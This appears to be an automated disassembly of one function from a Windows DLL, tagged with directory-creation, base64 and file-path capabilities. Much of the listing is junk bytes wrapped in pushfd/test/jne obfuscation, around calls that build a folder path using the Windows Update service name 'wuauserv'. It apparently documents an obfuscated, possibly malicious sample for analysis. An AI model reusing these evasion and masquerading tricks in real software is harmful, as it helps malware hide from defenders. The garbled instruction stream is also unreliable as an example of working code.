Function at 0x10002c89
Capabilities:
Create directory
Encode data using base64
Get common file path

Disassembly:
popfd
add esp, 0x10
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000d498
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x1001f6e8]
xor eax, ebp
pushfd
test byte [0x100022f4], 0x56
jne 0x100022f5
test edi, esi
add byte [eax], al
add byte [ecx], al
push esp
invalid
add dword [esi + edi*8 - 0x55], edx
out 0xf0, al
xor bh, ah
jno 0x10002277
arpl word [edx], ax
and eax, 0x1f7016ae
in eax, dx
nop
mov word [edx - 0x43], ss
add cl, byte [ebp + ebx*4 - 0x80]
jo 0x10002257
mov al, 0x7a
mov bh, 0x6b
inc esp
mov ch, 0xb9
add al, 0x31
or eax, 0xf0aa25d9
sub byte [ebp - 0x22], cl
dec ecx
pop ebp
in al, dx
jae 0x100021f9
dec edi
mov ebx, dword [0x992a1015]
je 0x100021c1
adc al, 0x86
mov al, byte [0x8d4da2f]
mov bh, 0x8a
xor dword [edx], edi
inc ebx
xchg ecx, eax
mov esp, 0x617a07e5
enter 0x4e83, 0x16
and ah, bl
adc al, 0x86
lodsd eax, dword [esi]
dec ebx
or edi, dword [eax]
mov ecx, 0x9df7bb0f
cmp byte [ecx - 0x620844f1], bh
adc al, 0x73
xchg ecx, eax
cli
mov esi, 0xe253e08f
and eax, 0x8c89476d
int 0xca
stosb byte es:[edi], al
adc al, 0x56
sub esp, dword [ecx]
or dword [edi - 0xb9c55a4], eax
pop ebp
cmp dword [ebp - 0x75], 0x1e
xor edx, dword [eax - 0x41]
push 0xfffffffffffffffb
jae 0x100022e0
hlt
jns 0x10002221
das
pop eax
dec esp
rcl byte [ebp + 0x20c11b7a], cl
fstp xword [ebp - 0x32]
sbb eax, ecx
and bl, bl
jge 0x10002260
mov eax, 0x5a7aab76
mov eax, dword [0xa4b5aea5]
jl 0x10002319
into
mov bl, 0xea
enter 0x580, 0x55
jne 0x100022fb
xor al, 0xed
xchg ecx, eax
outsb dx, byte [esi]
lodsb al, byte [esi]
push ss
mov esp, ds
call [ecx - 0x3e]
ficomp word [eax - 0x12fe2e7b]
sbb cl, ah
aam 0x6b
jle 0x1000233a
ja 0x10002329
mov al, byte [0xba374d0]
jo 0x1000228c
cmpsd dword [esi], dword es:[edi]
cmp ecx, dword [edi]
pop ebx
neg bl
mov edx, esp
imul byte [0x9e27a522]
cmpsd dword [esi], dword es:[edi]
or eax, 0x21d2c8af
sub al, 0xdc
sub byte [ecx - 3], dh
fiadd dword [esi + 0x604ad472]
stosb byte es:[edi], al
pop ds
add dword [esi + 0x70a2af45], 0x8dca8ed6
pushal
mov bh, 0xda
popfd
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
adc byte [ebx - 0x75], dl
pop ebp
or byte [esi + 0x57], dl
test eax, eax
jne 0x10002452
mov ecx, 5
pushfd
test byte [0x10002367], 0xf4
add byte [esi + esi*8 + 0x236705], bl
adc ah, dh
jne 0x10002368
mov eax, dword [0x99f86de]
mov dword [0x85000aaf], eax
add dword [esp + ebx*4], eax
or al, byte [eax]
test dword [ecx], eax
add al, 0x9c
dec eax
sbb esi, dword [ebp + 0x76]
jne 0x100023a1
sbb bl, byte [edi]
dec edi
sal byte [esi], cl
dec ecx
jnp 0x1000230e
int 0xde
inc esi
inc esp
xor esp, dword [ebx]
int1
les ecx, [esi]
sbb eax, 0x9aaa1667
outsd dx, dword [esi]
pop edx
pop ebx
mov ebp, 0xbff1004d
push cs
mov ebx, 0x1eec643e
inc esi
dec ebp
sal dword [edx + 0x60], cl
jne 0x100023b9
jns 0x10002393
enter 0xffffffffffff8668, 0xffffffffffffffcf
xchg bh, cl
xor ch, byte [esi]
sub eax, 0x299757c4
or ah, byte [edx + ecx]
inc edi
popfd
mov esi, str.343834___EeeaopfO_
lea edi, [ebp - 0x20c]
rep movsd dword es:[edi], dword [esi]
pushfd
test byte [0x1000243d], 0x65
jne 0x1000243e
and al, 0
adc byte [ebp + 0xf], ah
test dword [edx + 0x61000000], edi
popal
in eax, dx
mov ecx, 0xf7065f36
sub eax, 0xc3ca009b
push esp
js 0x10002320
add al, 0xf7
add dword [edx + 0x2fdf660d], ecx
adc al, byte [edi + 0x2efac9dd]
sbb dl, byte [eax]
sbb dl, byte cs:[eax]
fcmovnu st(0), st(7)
cmpsb byte [esi], byte es:[edi]
pop eax
push ebx
push esi
in al, dx
adc al, 0x40
inc ecx
insb byte es:[edi], dx
mov eax, dword [edi + esi*8 + 0x767cea7f]
sti
pop ss
enter 0x28de, 0xffffffffffffffa1
mov bh, 0x66
arpl word [ebp + 0x68ed4131], dx
sbb dword [eax], esi
xchg dword [ecx + 0x7b], edi
push es
fisubr word [eax]
mov eax, dword [0x956366b7]
xor dword [ecx - 0x13], eax
push 0x79873019
jnp 0x100023d0
sbb dword [ebp + 0x691e2e81], ebx
push edx
scasd eax, dword es:[edi]
aaa
mov eax, 0xb5ced55
loopne 0x1000235b
or al, ah
jne 0x10002410
sub bh, byte [eax]
insb byte es:[edi], dx
clc
mov ecx, 0x7dd4cb31
sbb al, 0x63
clc
arpl ax, di
out dx, eax
mov edx, 0x679dc555
loopne 0x1000237a
daa
and eax, 0x320ff6c8
sar dword [ebx - 0x5e2d7961], cl
in eax, 0xf4
pop ds
xchg byte [edi], bh
push ebp
stc
xchg dword [ebx + 0x32], edx
pop ss
jg 0x100023e8
mov al, 0x6a
push 0xfffffffffffffff1
pop ds
pop ebx
mov ecx, ss
insb byte es:[edi], dx
bnd jbe 0x1000246c
mov dh, 0xa
bound esi, qword [eax - 0x2578e269]
out dx, al
test eax, 0x929d1b21
push cs
test eax, 0xdd58bb19
das
scasb al, byte es:[edi]
sbb ch, ah
or dword [edx], 0x2f9213c4
dec edx
push ds
dec ebp
dec ecx
popfd
movsw word es:[edi], word [esi]
pushfd
test byte [0x1000244d], 7
jne 0x1000244e
or ebx, dword [esi + 0x7e]
popfd
movsb byte es:[edi], byte [esi]
jmp 0x100024ac
lea edx, [ebp - 0x20c]
pushfd
test byte [0x1000249d], 0x2d
jne 0x1000249e
pop esp
imul esp, ebp, 0x2c18633e
pop ebp
cmc
call 0xc76337c
test ecx, edx
jne 0x10002460
out dx, al
jns 0x10002406
xor eax, 0xb0b27311
inc esi
test al, 0x20
adc cl, byte [ebx + esi*2 - 0x4b9a5918]
push eax
pop esp
push esp
stosb byte es:[edi], al
cmc
insd dword es:[edi], dx
mov esp, 0x1a70565e
xor ah, ah
aas
adc byte [ebp + 0x6b], dl
aas
inc edi
dec dx
popfd
sub edx, eax
nop
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x100024a2
lea eax, [ebp - 0x20c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100024b5
sub eax, edx
test al, 1
je 0x100025ba
add dword [edi], ecx
test ah, dh
add byte [eax], al
add byte [ebp - 0x20b43], cl
dec dword [edi - 0x76]
dec edi
add dword [esi + esi*8 + 0x25a405], ebx
adc byte [edi + ecx - 0x7b], ah
mov dword [eax], 0x2a3a0000
add byte [eax], al
lea edi, [ebp - 0x20c]
dec edi
mov cl, byte [edi + 1]
pushfd
test byte [0x100025a4], 0x64
jne 0x100025a5
cmp ch, byte [edx]
dec esi
cmp al, 0x8c
xor al, 0xb1
mov byte [ebp - 0x39], ah
cld
pop ebx
push edi
outsd dx, dword [esi]
push ebx
sub al, 0x58
jae 0x10002520
das
pop ebp
sub dword [eax], ebx
jb 0x100024c4
int3
ficomp word [ecx - 0x684df41]
stc
sub eax, 0x3e14f0ed
je 0x100024f7
sub al, 0x3a
mov al, byte [0xa4deeff2]
adc al, 0x22
movsd dword es:[edi], dword [esi]
ja 0x10002503
leave
sub dh, dl
imul edi, edi, 0x4a
or ebx, eax
mov al, 0x3c
pop es
pop esi
xchg ebp, eax
sbb al, byte [0x2cef2519]
add eax, 0x2cef2519
mov dl, byte [edx + 0x42]
scasd eax, dword es:[edi]
push ecx
push ecx
jo 0x10002551
insb byte es:[edi], dx
jno 0x100024bf
xchg ecx, eax
mov al, byte [0x234a896c]
xor dword [ebx + 0x53], esi
cmp dword [ecx], ebx
inc byte [edx - 0x21]
jecxz 0x100024fd
int3
dec esp
in al, dx
push ebp
and al, 0xf1
sbb dword [ecx - 7], 0x9dc26b73
xor al, 0x14
sbb ah, byte [ebp + 0x5b]
loopne 0x1000257d
inc edx
int1
add al, 0x41
cwde
in al, dx
inc ecx
sar dword [edx + 0x7140ae5e], 1
sar byte [edi - 0x56], 0xc3
test al, 0xc7
dec edx
enter 0xffffffffffffe496, 0x48
insd dword es:[edi], dx
std
ror byte [ecx], 0x48
sbb ebp, edi
sal dword [edx + 0x188a254c], 1
in al, dx
pop esp
fcomp dword es:[eax - 0x77]
and eax, 0x8892eccc
rol dword [esi], 0x4c
dec eax
call [ebp + 5]
test eax, esi
loopne 0x1000261d
add eax, 0x7ce0f085
jns 0x1000259c
stosd dword es:[edi], eax
popfd
inc edi
test cl, cl
jne 0x100024cd
mov cx, word [0x1001b2c8]
add dword [eax], edx
mov word [edi], cx
inc eax
cdq
sub eax, edx
mov dx, word [0x1001b2c4]
pushfd
test byte [0x1000265c], 0xd0
je 0x1000265d
xlatb
jns 0x100025c4
cmp eax, 0x4786e592
xchg edx, eax
in eax, 0x86
inc edi
clc
and edi, ebx
dec ebx
adc byte [ebx + 0x6e717907], 0x58
adc dword [eax - 0x53], edx
or dword [ebx], esi
das
test eax, 0xfda89425
and byte [ebx], dl
mov dword [0xd8c40fca], eax
and eax, 0x20fda894
adc esp, dword [ebx - 0x273bf036]
fadd st(0)
bnd jno 0x100025b4
sal dl, 0x71
mov ecx, 0x98a8a340
push 0x485c82dd
popfd
push edx
inc eax
mov dword [0xdd6898a8], eax
sbb byte [eax + ecx*2 - 0x63], 0x52
cli
sub al, 0x9b
cld
not dword [ecx + 0x1b]
shr dword [eax - 0x36], 0xc4
mul ecx
js 0x100025d6
jecxz 0x10002690
jns 0x100025f6
fiadd word [edx - 0x2f]
inc esp
loop 0x100025ec
popal
mov bl, 0x90
nop
inc esp
and dh, byte [esi - 0xe]
in al, 0xbd
ja 0x10002616
dec edi
cmc
add ah, byte [edi + edx*8 + 0xe]
adc dh, cl
cmp eax, 0xe73381ed
mov esp, 0x20399358
sbb bl, byte [edi - 0x31]
stc
inc ebx
pop edx
push ds
xchg ebx, eax
aad 0xe7
xchg edx, eax
dec ebx
sbb al, 0x42
imul esp, dword [edx + 0x1dc9845], 0xffffffba
sbb bh, byte [ecx - 0x5d]
sbb al, 0xc6
paddsb mm3, qword [eax + 0x4567f999]
pushfd
mov dh, 0x22
popfd
mov edi, eax
mov al, byte [0x1001b2c6]
sar edi, 1
xor esi, esi
mov word [ebp - 0xc], dx
mov byte [ebp - 0xa], al
pushfd
test byte [0x1000276b], 0xce
jne 0x1000276c
pop ecx
mov ecx, 0xa6b003cb
adc dl, byte [edi]
xchg ebp, eax
pushfd
mov al, byte [0x6c31af36]
mov ebp, dword [esi]
nop
aaa
mov esi, 0xff02d7bd
fist word [edx + 0x30]
int1
adc dword [0x5b58cbbb], ecx
sub ah, byte [edi - 0x5853456b]
aaa
mov bh, 0x11
or byte [edx - 0x7d4a369e], al
stosd dword es:[edi], eax
int3
popfd
mov byte [ebp - 8], 0
test edi, edi
jle 0x10002a08
pushfd
test byte [0x1000281e], 0x51
jne 0x1000281f
sub ch, byte [ebx - 0x12b784a5]
fnstsw word [edx - 0x1f]
jp 0x10002771
xchg ebp, eax
or al, 0x39
clc
mov al, byte [0xfeb3a6e8]
fistp qword [ebx - 0x17]
pop es
sbb dh, dh
xchg dword [edi + 0x6a], esp
in eax, 0xb7
rol byte [esi + 0x51346e8b], 0x27
push ds
test byte [ebx - 0x2325dbc4], dh
pop dword [esi + ebx*2]
cmp eax, 0x1138fb6a
or dword [ebx + 0x622a2aa3], 0xb72a3de7
mov al, byte [0x9bff5100]
inc esp
pop ss
lds edi, gs:[ebx - 0x75a37fcd]
jne 0x1000278e
jge 0x100027e0
push cs
adc cl, ch
add esi, dword [edi]
cmp dh, ch
mov eax, dword [0xc1faa90d]
std
mul byte [ecx + 0x44]
test eax, 0xf6fdc1fa
popal
inc esp
add eax, 0x79a52d2a
leave
rcl edi, 1
test dword [edi + 0x5a33d031], esi
in eax, 0xd5
mul dword [ebp - 0x7defd399]
xor edi, ebx
call 0x486e6db6
mov ah, 0x8a
fld xword [edi - 0x24be8974]
mov ebx, 0x1525eb3e
rcl dword [ecx - 0x25]
mov ecx, 0x72b425c5
xlatb
adc al, 0x9e
popfd
mov edi, edi
mov cl, byte [ebp + esi*2 - 0x20c]
movzx edx, byte [ebp + esi*2 - 0x20b]
lea eax, [ebp - 0x310]
push eax
mov byte [ebp - 0xa], cl
lea ecx, [ebp - 0xc]
push 0x1001b2c0
push ecx
mov byte [ebp - 9], dl
call fcn.1000d515
pushfd
test byte [0x1000290a], 0x62
jne 0x1000290b
hlt
loopne 0x100027dc
pop es
in eax, dx
xor al, 0x8d
scasb al, byte es:[edi]
das
fcmovu st(0), st(0)
adc dword [eax], edi
stosb byte es:[edi], al
dec ecx
pop dword [edx]
jl 0x1000283d
cwde
fild qword [edx + 0x77]
cwde
fstp xword [eax]
inc esp
push ecx
test dword [ecx - 0x23], edx
cli
in al, 0xd9
mov ah, 0x87
adc al, 0x66
adc edx, edx
test byte [ecx + 0x1b2a228f], ch
test dl, ah
aaa
test ah, dh
push ecx
daa
ror byte [esi], cl
dec edx
jb 0x100028c8
cmc
je 0x10002862
dec esp
jo 0x100028e2
jns 0x100028e3
jecxz 0x100028af
sti
adc eax, 0x27532114
rcr dword [0x99c0d1b6], 0x7f
and al, 0xcd
popfd
jne 0x100028e6
adc eax, 0xeb0a7fee
adc eax, 0xeb0a7fee
sahf
cmp dword [ebp + 0x49ab538b], 0x72
cwde
std
dec ecx
jecxz 0x10002917
push ds
out dx, eax
xchg edx, eax
insd dword es:[edi], dx
and eax, dword [esi]
mov ecx, 0xeec4fa6c
mov eax, dword [0x33a24a39]
sbb ebp, dword [edi + 0x11]
out dx, al
insb byte es:[edi], dx
jo 0x10002930
fldcw word [eax - 0x6b3adf5a]
shr ch, 1
mov dword [0x9afcf27], eax
and byte [eax - 0x21], cl
mov al, 2
and al, 0xcb
mov ebp, 0x9b0f2e4e
shr dword [0xd83ef41], 0xb6
cmp bh, bl
movsd dword es:[edi], dword [esi]
jns 0x1000296b
daa
iretd
or dword [eax], esp
dec eax
fbstp tbyte [eax - 0x4234dbfe]
dec esi
setnp cl
sub al, 0x25
inc ecx
out dx, eax
or dword [0xa5df38b6], 0x79
imul edx, dword [esi - 0x707bf14b], 0xffffffbd
stosd dword es:[edi], eax
push ss
mov dl, 0x1e
and eax, 0xd83ef41
mov dh, 0x38
fbld tbyte [ebp - 0x4a699487]
push cs
xchg esi, eax
mov ch, 0xe
test byte [edi - 0x4de95443], cl
push ds
lodsd eax, dword [esi]
popfd
movzx edx, byte [ebp - 0x310]
mov byte [esi + ebp - 0x30c], dl
inc esi
add esp, 0xc
cmp esi, edi
pushfd
test byte [0x1000299d], 0x59
jne 0x1000299e
cld
invalid
inc edi
sub ah, byte [0x10574188]
sub eax, edi
fnstsw word [edx + 0x751b533b]
xchg ebx, eax
adc bh, 0x58
out 0x4a, eax
and eax, 0x648d93d1
setle byte [ebp + 0x7f4bcd9e]
pop esi
xor al, 0x16
jo 0x10002901
adc byte [ebx], ch
invalid
mov dl, byte [ebx]
das
or al, 0x78
xor al, 0xb2
pop ecx
les esp, [eax]
and al, 0x89
test byte [esi*2 + 0x9a2b44c], al
shr dword [esi + ebp*4 - 0x54946e0a], cl
sub edi, dword [ebp - 0x78]
jge 0x100028f5
bound eax, qword [eax]
mov dl, 0xdb
and al, cl
sbb byte [ebx], al
push ds
out 0x7f, al
out 0x2c, al
test eax, 0xca461748
sub dword [edi], eax
xlatb
mov dl, 0x92
std
popal
sub bh, byte [ebx]
lodsd eax, dword [esi]
movsb byte es:[edi], byte [esi]
mov word [edx - 0x4dbff431], ds
mov dh, 0x12
dec edx
xchg ecx, eax
out 0x14, al
adc eax, 0xe3e8df01
or al, bl
lodsd eax, dword [esi]
popfd
jl 0x10002822
pushfd
test byte [0x10002a06], 0x80
jne 0x10002a07
add eax, 0xc73563ba
cmp ebx, dword [ecx + 0x59d0149]
and al, 0x1f
scasd eax, dword es:[edi]
push edi
dec eax
cmp byte [0xdb58de98], 0xb7
lodsd eax, dword [esi]
xchg ebx, eax
outsd dx, dword [esi]
add bh, byte [edx + 0x6c]
xchg byte [edx], dh
mov ah, byte [ebx + esi*8 - 0x30]
mov ecx, 0x69fc698c
pop esp
sbb al, byte [esi - 0x5d614a6]
sub bh, dl
inc esp
in eax, 0xd8
push eax
dec ecx
mov eax, dword [ebx + 0x40]
mov dword [0xbb0bf34d], eax
mov fs, word [ebx]
mov ebp, 0xb6f4eedf
push 0x58a4b266
mov eax, dword [0xb1e16a33]
or dword [edi - 0x1741b527], ebx
mov ah, 0x88
popfd
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x30c]
push edi
push ecx
call section..text
mov eax, dword [ebp + 0xc]
pushfd
test byte [0x10002afe], 0xe3
jne 0x10002aff
invalid
loopne 0x10002a0c
aaa
adc esp, ebx
inc ebx
arpl word [eax], bx
je 0x100029c8
cmpsb byte [esi], byte es:[edi]
mov bh, 0x9e
pop eax
push ecx
and byte [ebp + 0x65], dh
jl 0x100029e5
push 0xb4a04948
cmpsb byte [esi], byte es:[edi]
dec ebp
xor byte [0x8af51ef6], cl
cmpsb byte [esi], byte es:[edi]
mov al, byte [0xdb9f5a84]
movsb byte es:[edi], byte [esi]
popfd
in al, 0xc0
or eax, 0x36e6dec4
sti
add dword [eax + 0x256e93b8], edi
inc edi
push edx
push edx
in eax, dx
imul ebx, dword [ebp + 0x4b], 0xffffff94
cld
add dword [ecx + edx - 0x123ef357], esi
mov esp, esp
out dx, al
shr ebp, 0x8b
in al, 0xee
sbb bl, bl
and dword [ebp - 0x12], esi
mov ecx, 0x1a895e6d
pop es
pop ecx
and dword [ebx + 0x3e], esp
mov ah, 0xe7
push ds
and edi, dword [esi + 0x20]
sub byte [ecx], dl
pop edx
test al, 0x92
pushfd
salc
mov ecx, 0xd8923541
cmp al, 0x32
inc esi
jl 0x10002a72
lds edx, [ebx]
mov ah, 0x78
and byte [0xdad0cda0], 0x93
fistp qword [ebp + 0x2c007c48]
in al, dx
scasd eax, dword es:[edi]
enter 0xffffffffffff9498, 0xffffffffffffff83
and edx, ecx
push ebx
or ch, byte [esi - 0xff7696e]
xor dh, byte [ebx + 0x3d7f37f4]
mov ch, byte [eax - 5]
mov byte [ebp + 0x3dd8a4bd], ch
xor byte [ebx + 0x1e3688bc], cl
sub eax, 0x7ddf1dc3
js 0x10002abe
imul ecx, dword [eax - 0x45], 0x8ffa3e0
cmp dword [ebx + 0xbe86354], ecx
int3
popfd
lea edx, [ebp - 0x110]
pushfd
test byte [0x10002bff], 0xd2
jne 0x10002c00
add byte [eax], dl
ror byte [edi], cl
test esp, ebp
add byte [eax], al
add byte [edi - 0xb], dh
ja 0x10002b0b
mov ecx, 0xcc6a2153
bound edi, qword [ebx - 0x20]
sar dword [ebp - 0x6a], cl
and byte [ebp + 0x6e], bh
sahf
into
out dx, eax
mov eax, 0x4fffb8ff
popfd
js 0x10002baf
outsd dx, dword [esi]
add al, 0x2b
popfd
mov fs, word [ebp - 0x3631435f]
cld
mov edi, 0x182ec18e
in al, 0x22
cmp dh, byte [eax - 0x23]
push ebx
xor dword [eax], esp
add ebx, dword [eax + 0x1c8c809a]
cmp byte [esi + ecx*4], 0xc4
in eax, dx
sbb ax, word [ebx + 0x40423b11]
mov al, 0x19
sub dword [ebx], esi
mov bl, 0x83
bound ebp, qword [edi - 0x4a]
adc al, 0x55
fadd st(4)
sbb ch, bl
push ebp
mov eax, dword [0xc7a1108f]
xor eax, 0xce766754
adc al, 0x71
xchg ecx, eax
or dword [esi + 0x6bb1a7dd], ebx
and al, 0xa9
inc ebp
rol dword [ecx - 0x3919095], 1
pop ebp
inc edx
je 0x10002bba
imul ebx, ebx, 0xe4931355
sbb dl, dl
enter 0x286, 0xffffffffffffffc7
imul ebx, dword [esi], 0xa5f9f024
dec ebx
push 0xe9abe178
leave
push ds
jo 0x10002ba6
jmp 0x10704a6f
and al, 0xa8
dec edx
sbb dword [ecx + edi + 0x59], edi
mov eax, 0xcfe2dca4
movsd dword es:[edi], dword [esi]
or al, 0x14
fistp dword [esi + 0x5ef49a62]
fsubr st(2), st(0)
iretd
pop esi
adc eax, 0x933f5a7d
aad 0xac
int3
sbb eax, 0x1834d9a8
popfd
push edx
push eax
push ebx
pushfd
test byte [0x10002c46], 0x28
je 0x10002c47
sub byte [edi - 0x7e], bh
jg 0x10002ba1
dec ebx
jbe 0x10002bb1
mov edi, 0x7d2762b4
pop edx
stc
jl 0x10002c1b
xlatb
inc ebp
cmp ah, al
std
pop edi
test dword [ecx - 0x66a06786], 0xda921294
jnp 0x10002c5a
neg dword [ebx - 0x35fb00cc]
std
dec esp
movsd dword es:[edi], dword [esi]
loopne 0x10002bfb
dec esp
imul esp, dword [ebx + 0x556117df], 0xffffffb2
cdq
je 0x10002c89
popfd
call fcn.100015f0
mov ecx, dword [ebp - 4]
add esp, 0x18
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000d498
mov esp, ebp
pop ebp
ret
test al, 0
add byte [ebx - 0x333ca21b], cl
int3
mov eax, dword [0x1001f6e8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push 1
push 0x2e
push ebx
pushfd
test byte [0x10002d87], 0xf2
jne 0x10002d88
cmovo edx, dword [eax + 0x50]
out 0x22, eax
rol byte [bx + di + 0x66ed], 0x81
sub dword [ebx + 0x3c], eax
stosb byte es:[edi], al
pop edx
and edi, dword [ecx]
fisub dword [edx]
xchg ebp, eax
dec ebx
inc eax
xchg edi, eax
xor dword [edi - 0x12f7b827], esp
popal
cmp edi, dword [ecx + ebx*2 - 0xc]
add al, 0x52
cmp byte [esi + 0xfa2b14], dl
pop ds
leave
sar byte [edx + ecx*8], 0x9c
stosb byte es:[edi], al
shr dword [eax - 0x40eef5bf], cl
push ss
push ds
jecxz 0x10002d61
jl 0x10002d60
movsb byte es:[edi], byte [esi]
rcl byte [edx + 0x160ada6], cl
les ebx, [edx + 0x6dc3e77e]
xor eax, dword [ebp + 0x270f7fbc]
cdq
aas
aaa
ror dword [ecx - 0x3cf2f05a], cl
shl byte [ecx + 0x324d7dde], cl
cld
inc edx
mov dword [ebp - 0x47efe94d], 0x1083917d
push ebx
or cl, byte [eax + 0x722d011f]
inc esp
lodsb al, byte [esi]
adc dword [ebp + 0x501f789c], ebx
test dword [esi + 0x13575b7c], ebp
push ebp
xchg edx, eax
push 0xffffffffffffffb8
inc edx
shl dword [edi + ebp*2 - 0x4f], 1
push ebx
xor al, 0x32
js 0x10002d98
pop ebp
int 0x49
cmp edx, ebx
push ds
or dword [ecx - 0x2c529baf], ebx
cmp edi, dword [edi + 0x33e9f4d1]
xor al, 0xe2
pop ecx
out 0xd2, eax
xchg byte [edx], dh
outsd dx, dword [esi]
add byte [ebx + ecx*2 + 0x5f], dl
aad 0x34
jle 0x10002d8a
sub al, 0x41
mov ss, edi
xlatb
jns 0x10002d41
add byte [ecx + 0x5450612c], dh
mov dh, 0xf5
mov dh, 0x62
jne 0x10002dde
or eax, 0x36fdc439
push ss
inc edx
je 0x10002df9
cmp byte [ebx + 0x32], bh
and dword [edi + 0x7f], esp
mov al, 0x80
int1
add dword [esi + 0x2d], esp
insb byte es:[edi], dx
push cs
popfd
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
add bh, bh
adc eax, sym.imp.SHELL32.dll_SHGetSpecialFolderPathA
cmp eax, 1
jne 0x10003694
add byte [eax], al
push esi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call fcn.1000d170
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
add esp, 0xc
push ebx
call esi
pushfd
test byte [0x10002dfc], 0x5a
jne 0x10002efd
cld
sub eax, 0xf5a1000
test dword [esi], ebp
add dword [eax], eax
add byte [ebx + 0x73], ch
std
lodsb al, byte [esi]
imul esi, dword [ebx - 3], 0xffffffac
clc
shr byte [ebx + 0x36], cl
push ebx
imul edx, dword [ebp + ebp - 0x46], 0x14
push es
sti
out dx, al
insd dword es:[edi], dx
push edx
and bh, al
not dword [ecx + 0x12]
in eax, dx
push es
and ch, byte [esi - 0x6e]
mov al, byte [0x16e4b61e]
mov eax, dword [0xc219c0a5]
sub byte [edx + 0x26204689], bh
bound edi, qword [esi + 0x68689e68]
mov dword [esi + 0x20], eax
bound edi, qword es:[esi + 0x68689e68]
xor esp, 0xffffff8d
imul edx, dword [ecx - 0x54a08fc2], 0xffffffc4
mov bl, al
push ecx
inc edi
jle 0x10002dc4
call dword [ebp + 0xf7d773]
sbb eax, 0x463fbda0
in eax, dx
test eax, 0xa2a396a8
and dl, bh
xor al, dl
mov al, 0x6b
or ebx, dword [edi]
imul ecx, dword [ebx], 0x1f
push es
not dword [ecx + 0x68abe879]
mov al, byte [0x8263b520]
aaa
add eax, ecx
mov esi, 0x7c2403fc
lea ebx, ds:[edi - 0x39]
pop ecx
mov bl, 0x77
mov ch, 0x5a
mov ebp, 0x5b2f6fd2
pop ds
imul ebx, dword [edi + 0x575442ae], 0x3f
push esp
push edi
aas
push ebp
jge 0x10002e7e
pop ss
jne 0x10002ed2
jge 0x1c5de7e4
and eax, 0xa8430560
add al, dl
or al, 0xb1
dec ecx
pop ds
adc eax, 0x514e66e5
mov ecx, dword [0x5c157f60]
pushal
jg 0x10002e8e
pop esp
or dword [edi + 3], edx
inc ecx
aam 0xdc
sub eax, 0x3bc37b3
pop eax
sbb esp, edx
not dword [ebx]
xor bh, byte [ebx]
push ebx
jge 0x10002e55
aaa
imul esp, edx, 0x919d16fc
push 0x6ea7d709
outsb dx, byte [esi]
mov cl, 0x6b
stosd dword es:[edi], eax
jle 0x10002e2b
mov dl, 0x89
pop eax
pushfd
daa
dec ebp
and bl, ch
call [edi]
lahf
js 0x10002e9c
and eax, 0x49fa393b
in eax, 0x4a
push edx
arpl bx, ax
fxch st(6)
sbb ecx, dword [edi + 0x12]
jge 0x10002e50
dec ecx
aas
xchg ebx, eax
and eax, 0x643a24b0
add ah, byte [edx + 0x57]
or eax, 0x6814aee7
mov ebx, dword [ebx + 0x10]
dec ebp
xchg esp, eax
pop ebx
adc byte [ebp - 0x6c], cl
shr byte [ecx], cl
cmp byte [ecx + 1], ah
jo 0x10002ea2
cmp eax, 0x71cb19c7
mov ah, 0x5c
dec esi
fnstcw word [esi + 0x68]
pop ss
dec eax
loop 0x10002eb4
mov esi, 0x59cd1311
jb 0x10002e76
xlatb
xchg ebp, eax
les ebp, [esp + ecx*4 + 0x168e0d5e]
popfd
lea eax, [ebx - 1]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10002f01
mov ecx, dword [str.wuauserv]
mov dword [eax], ecx
mov edx, dword [0x1001b2e8]
mov dword [eax + 4], edx
pushfd
test byte [0x10002f2b], 0x8d
jne 0x10002f2c
sub ebp, dword [edi]
add byte [eax], dl
lea esi, [ebp + 8]
sbb dword [eax + 0x7d07b520], edi
out dx, eax
stosb byte es:[edi], al
popfd
mov cl, byte [0x1001b2ec]
push ebx
mov byte [eax + 8], cl
pushfd
test byte [0x10002fdb], 0xb
jne 0x10002fdc
test dword [edi + 0x5000000], edx
or al, 0x9b
inc ebx
dec eax
add eax, 0x48439b0c
jle 0x10002f40
ror byte [eax + 0x2ffdbb7b], 7
das
xchg edx, eax
jo 0x10002f1d
clc
or eax, 0x9c36608d
dec esp
in eax, dx
xchg bp, ax
test al, 0xae
pop edx
push edi
push 0x19
stosb byte es:[edi], al
mov ebp, 0xf2fc1334
and dword [esi], 0x8c26f9b2
mov ecx, 0x70812b22
xor eax, 0x560e2129
push cs
cli
scasd eax, dword es:[edi]
xor byte [ecx - 0x23], ch
std
out 0xff, eax
imul esp, edi, 0xe2dd9cda
test byte [0x8ac629e7], 0xf0
nop
and dword [ebx - 0x4590646d], edx
imul esp, dword [esi + 0x48], 0xe5b8ba81
imul ebp, ebx, 6
std
dec ebx
add dword [edi], edi
sbb al, 0xe0
shr dword [esi - 0x4d], 1
and dword [0x3ba606fb], esi
arpl word [edi - 0x2b81c77], di
lahf
push ebp
xor dword [eax - 0x26], 0xffffff96
push esi
out dx, eax
lodsb al, byte [esi]
aad 0x24
mov bh, 0x21
mov edi, 0xabeca061
mov cl, 0x8c
add byte [eax + 0x1a36c964], al
out 0x82, eax
mov ch, 0xc4
imul edi, dword [ecx + 0x31], 0xffffffb5
popfd
call esi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [0x10020700]
pushfd
test byte [0x10003039], 0xa
je 0x1000303a
pop eax
xor esp, ebp
xchg edi, eax
sal dword [ecx - 0x66f929d1], 1
mov esp, 0xdc0509ed
cmp ecx, ecx
mov ecx, edi
mov bh, 0x8f
sbb ah, bh
div byte [eax - 0x56]
jecxz 0x10003054
popfd
mov esp, 0xe71dab0d
and cl, dh
imul ecx, dword [ecx + 0x3dd55709], 0xc0369c33
pop ebp
adc al, 0xbd
into
dec edx
ror dword [ecx], 0x81
add ecx, edx
